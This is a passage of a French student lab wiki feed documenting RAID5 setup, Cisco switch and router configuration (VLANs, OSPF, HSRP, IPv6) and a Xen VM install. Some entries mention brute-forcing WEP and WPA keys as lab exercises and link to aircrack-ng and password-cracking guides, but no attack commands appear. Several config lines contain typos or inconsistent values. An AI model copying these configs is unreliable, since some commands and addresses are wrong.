 mdadm: /dev/xvdb3 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb4 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
 mdadm: /dev/xvdb5 appears to contain an ext2fs file system&lt;br /&gt;
       size=1048576K  mtime=Thu Jan  1 00:00:00 1970&lt;br /&gt;
&lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mkfs.ext4 /dev/md0&lt;br /&gt;
&lt;br /&gt;
 mke2fs 1.43.4 (31-Jan-2017)&lt;br /&gt;
 Creating filesystem with 523776 4k blocks and 131072 inodes&lt;br /&gt;
 Filesystem UUID: 392e14e4-44b5-4782-89ea-75c8483fd41b&lt;br /&gt;
 Superblock backups stored on blocks: &lt;br /&gt;
 32768, 98304, 163840, 229376, 294912&lt;br /&gt;
 Allocating group tables: done                            &lt;br /&gt;
 Writing inode tables: done                            &lt;br /&gt;
 Creating journal (8192 blocks): done&lt;br /&gt;
 Writing superblocks and filesystem accounting information: done &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 mkdir /media/raid&lt;br /&gt;
&lt;br /&gt;
==Cryptage de fichiers==&lt;br /&gt;
&lt;br /&gt;
== Architecture Réseau ==&lt;br /&gt;
&lt;br /&gt;
Dans cette partie, vous trouverez comment nous avons configuré les routeurs ainsi que les commutateurs qui se trouve dans les salles E304 et E306.&lt;br /&gt;
&lt;br /&gt;
=== Bridge Cordouan ===&lt;br /&gt;
&lt;br /&gt;
Nous avons due modifier le bridge de cordouan afin de relier les 2 ports ethernets ensemble&lt;br /&gt;
&lt;br /&gt;
nano /ect/network/interfaces&lt;br /&gt;
    &lt;br /&gt;
    # Bridge for IMA2a5&lt;br /&gt;
    &lt;br /&gt;
    auto eth1 &lt;br /&gt;
    auto eth4&lt;br /&gt;
    iface eth1 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
    iface eth4 inet manual&lt;br /&gt;
        post-up ifconfig $IFACE up&lt;br /&gt;
        post-down ifconfig $IFACE down&lt;br /&gt;
      &lt;br /&gt;
    auto IMA2a5&lt;br /&gt;
    iface IMA2a5 inet manual&lt;br /&gt;
      bridge_ports eth1 eth4&lt;br /&gt;
&lt;br /&gt;
Puis on réveille les ports à l'aide de Ifdown et Ifup&lt;br /&gt;
&lt;br /&gt;
=== Configuration des 2 commutateurs ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au commutateur, nous avons utilisé minicom avec un cable série directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le '''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Voici quelque commandes de base qui nous ont servi pour la configuration des commutateurs&lt;br /&gt;
&lt;br /&gt;
    enable           // passage en admin pour pouvoir accéder aux données du commutateur&lt;br /&gt;
&lt;br /&gt;
    write            // Sauvegarde de la configuration et l’implanter dans le commutateur&lt;br /&gt;
&lt;br /&gt;
    show interface status OU sh int status  // Montre l'état de toutes les interfaces présentes sur le commutateur ainsi que les données associées&lt;br /&gt;
&lt;br /&gt;
    configuration terminal    // permets d'accéder aux interfaces et ainsi pouvoir les modifier&lt;br /&gt;
&lt;br /&gt;
    exit             // permets de sortir du configurateur actuel (par exemple sortir de l'interface)&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports du commutateur ====&lt;br /&gt;
&lt;br /&gt;
Nous avons 4 connexions qui sont dirigées vers le commutateur de la salle E304 ainsi que celui en E306&lt;br /&gt;
 - Un lien vers le routeur&lt;br /&gt;
 - Un lien vers la borne wifi&lt;br /&gt;
 - Un lien vers Corduan&lt;br /&gt;
 - Un lien vers l'autre commutateur&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;text-align: center;width: 85%;margin: auto;&amp;quot;&lt;br /&gt;
! Connexion !! E306 !! E304&lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Corduan&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/1 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 1/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Borne Wifi&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 5/3 &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Gigabitethernet 2/2 &lt;br /&gt;
|-&lt;br /&gt;
! scope=&amp;quot;row&amp;quot; style=&amp;quot;width: 20%&amp;quot;|Router&lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 5/1(E306) &amp;amp; Ge 1/1(E304) &lt;br /&gt;
|style=&amp;quot;width: 40%&amp;quot;| Ge 1/1(E306) &amp;amp; Ge 2/2(E304) &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour la borne wifi =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    //Rendre accessible la modification du port&lt;br /&gt;
    switchport trunk encapsulation dot1q   //Encapsule avec la trame le numéro du Vlan associé, ce qui permettra de d'avoir de quel équipement viens le paquet ainsi la réponse sera dirigé vers le bon port&lt;br /&gt;
    switchport mode trunk   //Configure le port du switch en mode trunk, ce qui permets de ne pas avoir de restriction sur les Vlan, tous les Vlan peuvent passer à travers ce port&lt;br /&gt;
    no shut    //Démarre le port ou de le garder actif&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour Corduan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan42 //Autoriser le vlan 42 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour le router =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour l'autre routeur =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création des Vlan =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 42&lt;br /&gt;
    name Corduan&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 2 à 7&lt;br /&gt;
    name groupe 1 à 6&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    conf t&lt;br /&gt;
    vlan 130&lt;br /&gt;
    name interconnexion&lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
Pour supprimer un vlan il suffit de faire :&lt;br /&gt;
    no vlan X&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E304 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyACM0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   ip routing&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.254   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.6 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   ipv6 unicast-routing&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
  enable                                                  &lt;br /&gt;
 &lt;br /&gt;
  configure terminal&lt;br /&gt;
 &lt;br /&gt;
  interface XXXX                         &lt;br /&gt;
  no ip address                            //Pas d'addresse IP associé&lt;br /&gt;
  negotiation auto                         //Détermine automatiquement la vitesse de transfert&lt;br /&gt;
  media-type RJ45                          //Type de connexion (ici RJ45)&lt;br /&gt;
&lt;br /&gt;
Voici les vlan associé à nos groupes :&lt;br /&gt;
 &lt;br /&gt;
  service instance 2 ethernet              // création d'un vlan 2 dans cette interface&lt;br /&gt;
  encapsulation dot1q 2                    // Permets d'assurer une continuité d'un VLAN issue d'un switch sur un routeur via un lien trunk&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric      // retire le tag du vlan &lt;br /&gt;
  bridge-domain 2                          //création d'un bridge domaine interface (BDI) attribué au chiffre 2&lt;br /&gt;
    &lt;br /&gt;
  service instance 3 ethernet&lt;br /&gt;
  encapsulation dot1q 3&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 3&lt;br /&gt;
    &lt;br /&gt;
  service instance 4 ethernet&lt;br /&gt;
  encapsulation dot1q 4&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 4&lt;br /&gt;
  &lt;br /&gt;
  service instance 5 ethernet&lt;br /&gt;
  encapsulation dot1q 5&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 5&lt;br /&gt;
    &lt;br /&gt;
  service instance 6 ethernet&lt;br /&gt;
  encapsulation dot1q 6&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 6&lt;br /&gt;
  &lt;br /&gt;
  service instance 7 ethernet&lt;br /&gt;
  encapsulation dot1q 7&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 7&lt;br /&gt;
&lt;br /&gt;
Voici le vlan associé à l'interconnexion :&lt;br /&gt;
 &lt;br /&gt;
  service instance 42 ethernet&lt;br /&gt;
  encapsulation dot1q 42&lt;br /&gt;
  rewrite ingress tag pop 1 symmetric&lt;br /&gt;
  bridge-domain 42&lt;br /&gt;
&lt;br /&gt;
======  Vers le SR 32 ======&lt;br /&gt;
  interface XXXX                        &lt;br /&gt;
  no ip address&lt;br /&gt;
  negotiation auto&lt;br /&gt;
  service instance 130 ethernet&lt;br /&gt;
  encapsulation dot1q 130&lt;br /&gt;
  bridge-domain 130&lt;br /&gt;
   &lt;br /&gt;
&lt;br /&gt;
===== Configuration des BDI =====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface BDI1&lt;br /&gt;
   ip address 10.60.0.254 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI2&lt;br /&gt;
   ip address 10.60.1.254 255.255.255.000           //Attribut l'addresse IPV4 pour le routeur ainsi que son mask&lt;br /&gt;
   standby version 2                                //Activation du HSRP (Host service Routing protocole) version 2 plus stable que la 1&lt;br /&gt;
   standby 2 ip 10.60.1.252                       //Donne l'addresse  IPV4 du routeur virtuelle pour le HSRP                             &lt;br /&gt;
   standby 2 preempt                              // Activation du HSRP         &lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64      //Attribut l'addresse IPV6                             &lt;br /&gt;
   ipv6 enable                                      //Active l'addressage IPV6                              &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900  //Donner un préfixe IPV6 à chaque machine                              &lt;br /&gt;
   ipv6 nd router-preference high                    //IPV6 sera la route de préférence par défaut avec une forte probabilitée&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI3&lt;br /&gt;
   ip address 10.60.2.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252                                                     &lt;br /&gt;
   standby 3 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                       &lt;br /&gt;
   &lt;br /&gt;
   interface BDI4&lt;br /&gt;
   ip address 10.60.3.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252                                                     &lt;br /&gt;
   standby 4 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI5&lt;br /&gt;
   ip address 10.60.4.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252                                                    &lt;br /&gt;
   standby 5 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64                                   &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                   &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface BDI6&lt;br /&gt;
   ip address 10.60.5.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252                                                      &lt;br /&gt;
   standby 6 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit  &lt;br /&gt;
   &lt;br /&gt;
   interface BDI7&lt;br /&gt;
   ip address 10.60.6.254 255.255.255.000           &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252                                                      &lt;br /&gt;
   standby 7 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B7::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B7::/64 1000 900                                &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit                                 &lt;br /&gt;
 &lt;br /&gt;
   interface BDI42&lt;br /&gt;
   ip address 193.48.57.173 255.255.255.240         &lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172                                                     &lt;br /&gt;
   standby 42 preempt                                       &lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64                                    &lt;br /&gt;
   ipv6 enable                                                                    &lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900                               &lt;br /&gt;
   ipv6 nd router-preference High                    &lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   int vlan 130&lt;br /&gt;
   ip address 192.168.222.1 255.255.255.248         &lt;br /&gt;
   ipv6 address fe80::2 link-local                  &lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 rip tpima2a5 enable                        &lt;br /&gt;
   exit&lt;br /&gt;
   ip rooting&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
=== Configuration du router E306 ===&lt;br /&gt;
&lt;br /&gt;
===== Connexion =====&lt;br /&gt;
&lt;br /&gt;
Pour accéder au routeur, nous avons utilisé minicom avec un USB directement branché sur la prise console du commutateur :&lt;br /&gt;
&lt;br /&gt;
    minicom -os ( avec '''ttyUSB0''', une vitesse de transfert de '''9600 bauds''' et le ''''flow control désactivé''')     // les paramètres sont modifiable directement depuis les options de minicom&lt;br /&gt;
&lt;br /&gt;
===== Commande de base =====&lt;br /&gt;
&lt;br /&gt;
Ce sont exactement les mêmes que celles utilisées pour les commutateurs&lt;br /&gt;
&lt;br /&gt;
==== Configuration des ports ====&lt;br /&gt;
&lt;br /&gt;
La configuration est la même pour les 2 ports correspondant aux commutateurs&lt;br /&gt;
Nous avons besoin de 6 Vlan pour nos groupes et d'un Vlan d'interconnexion&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour SR32 =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal&lt;br /&gt;
    interface XXXX&lt;br /&gt;
    switchport&lt;br /&gt;
    switchport mode access //Rendre modifiable le port&lt;br /&gt;
    switchport access vlan130 //Autoriser le vlan 130 à transister à travers ce port&lt;br /&gt;
    no shutdown&lt;br /&gt;
    exit&lt;br /&gt;
    exit &lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
===== Création du lien pour les commutateurs =====&lt;br /&gt;
&lt;br /&gt;
    enable&lt;br /&gt;
    configure terminal (ou conf t)&lt;br /&gt;
    interface XXXX (ou int XXXX)&lt;br /&gt;
    switchport    &lt;br /&gt;
    switchport trunk encapsulation dot1q   &lt;br /&gt;
    switchport mode trunk  &lt;br /&gt;
    no shut    &lt;br /&gt;
    exit&lt;br /&gt;
    exit&lt;br /&gt;
    write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV4 ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   configure terminal&lt;br /&gt;
   router ospf 1        //création d'un opsf (Open Shortest Path First)                                      &lt;br /&gt;
   router-id 10.60.0.253   &lt;br /&gt;
   log-adjacency-changes&lt;br /&gt;
   summary-address 193.48.57.160 255.255.255.240 //donne l'addresse IP la plus base du réseau routé&lt;br /&gt;
   summary-address 10.60.0.1 255.255.0.0 not-advertise //donne l'addresse Ip la plus base du réseau non routé/ privé&lt;br /&gt;
   redistribute connected subnets&lt;br /&gt;
   network 192.168.222.8 0.0.0.7 area 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==== Interconnexion du réseau IPV6 ====&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
   ipv6 router rip tpima2a5                 //Création d'une route IPV6 sous le nom tpima2a5&lt;br /&gt;
   redistribute connected metric 1&lt;br /&gt;
   redistribute rip 1 metric 1&lt;br /&gt;
   redistribute static metric 1&lt;br /&gt;
   exit&lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
======  Vers les commutateurs ======&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
   conf t&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan1&lt;br /&gt;
   ip address 10.60.0.253 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
    &lt;br /&gt;
   interface Vlan2&lt;br /&gt;
   ip address 10.60.1.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B2::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B2::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 2 ip 10.60.1.252&lt;br /&gt;
   standby 2 preempt&lt;br /&gt;
   exit&lt;br /&gt;
     &lt;br /&gt;
   interface Vlan3&lt;br /&gt;
   ip address 10.60.2.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B3::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B3::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 3 ip 10.60.2.252&lt;br /&gt;
   standby 3 preempt&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   interface Vlan4&lt;br /&gt;
   ip address 10.60.3.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B4::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B4::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 4 ip 10.60.3.252&lt;br /&gt;
   standby 4 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan5&lt;br /&gt;
   ip address 10.60.4.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B5::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B5::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 5 ip 10.60.4.252&lt;br /&gt;
   standby 5 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan6&lt;br /&gt;
   ip address 10.60.5.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B6::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B6::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 6 ip 10.60.5.252&lt;br /&gt;
   standby 6 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan7&lt;br /&gt;
   ip address 10.60.6.253 255.255.255.0&lt;br /&gt;
   ipv6 address 2201:660:4401:60B7::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2201:660:4401:60B7::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 7 ip 10.60.6.252&lt;br /&gt;
   standby 7 preempt&lt;br /&gt;
   exit   &lt;br /&gt;
   &lt;br /&gt;
   interface Vlan42&lt;br /&gt;
   ip address 193.48.57.174 255.255.255.0&lt;br /&gt;
   ipv6 address 2001:660:4401:60B1::/64 eui-64&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   ipv6 nd prefix 2001:660:4401:60B1::/64 1000 900&lt;br /&gt;
   ipv6 nd router-preference High&lt;br /&gt;
   standby version 2&lt;br /&gt;
   standby 42 ip 193.48.57.172&lt;br /&gt;
   standby 42 preempt&lt;br /&gt;
   exit&lt;br /&gt;
          &lt;br /&gt;
   interface Vlan130&lt;br /&gt;
   ip address 192.168.222.2 255.255.255.248&lt;br /&gt;
   ipv6 address FE80::42:3 link-local&lt;br /&gt;
   ipv6 enable&lt;br /&gt;
   exit&lt;br /&gt;
   &lt;br /&gt;
   exit&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
==Sources==&lt;br /&gt;
https://rex.plil.fr/&lt;br /&gt;
&lt;br /&gt;
https://tutofacile.org/2017/04/installation-configuration-bind/&lt;br /&gt;
&lt;br /&gt;
https://wiki.debian.org/fr/Bind9&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/apache2&lt;br /&gt;
&lt;br /&gt;
https://doc.ubuntu-fr.org/aircrack-ng&lt;br /&gt;
&lt;br /&gt;
https://null-byte.wonderhowto.com/how-to/hack-like-pro-crack-passwords-part-4-creating-custom-wordlist-with-crunch-0156817/&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Aircrack.png&amp;diff=51573</id>
		<title>Fichier:Aircrack.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:Aircrack.png&amp;diff=51573"/>
				<updated>2019-12-07T02:40:56Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : Resultat du crack WEP&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Resultat du crack WEP&lt;/div&gt;</summary>
		<author><name>Fcavalie</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51572</id>
		<title>TP sysres IMA2a5 2019/2020 G1</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA2a5_2019/2020_G1&amp;diff=51572"/>
				<updated>2019-12-07T02:39:39Z</updated>
		
		<summary type="html">&lt;p&gt;Fcavalie : /* Attaque Wifi */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;''Maxime Hirt - Fabien Cavalier''&lt;br /&gt;
&lt;br /&gt;
==Présentation du Groupe et du projet==&lt;br /&gt;
Le groupe de projet est contitué de:&lt;br /&gt;
* Cavalier Fabien &lt;br /&gt;
* Hirt Maxime.&lt;br /&gt;
&lt;br /&gt;
Lors de ce projet nous allons devoir:&lt;br /&gt;
* Créer une architecture reseaux avec un système de redondance&lt;br /&gt;
* Créer une machine virtuel&lt;br /&gt;
* Parametrer des connections IPV6&lt;br /&gt;
* Effectuer un forcebrut sur une clé WEP et WPA&lt;br /&gt;
* Créer un systeme de stockage Raid5&lt;br /&gt;
* Cryptage de fichiers&lt;br /&gt;
&lt;br /&gt;
== Installation de la machine virtuelle avec xen ==&lt;br /&gt;
&lt;br /&gt;
===Connection à Corduan via ssh ===&lt;br /&gt;
 ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
&lt;br /&gt;
===Création et initialisation de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
'''Creation de la machine virtuelle'''&lt;br /&gt;
 xen-create-image --hostname=ima2a5-zerofun --dhcp --dir=/usr/local/xen --dist=ascii --apt-proxy=http://proxy.polytech-lille.fr:3128&lt;br /&gt;
&lt;br /&gt;
 xl create ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
'''Modification du fichier de configuration de la VM'''&lt;br /&gt;
&lt;br /&gt;
 nano ima2a5-zerofun.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance ima2a5-zerofun, created&lt;br /&gt;
  # by xen-tools 4.7 on Fri Nov  8 08:57:54 2019.&lt;br /&gt;
  #&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  &lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
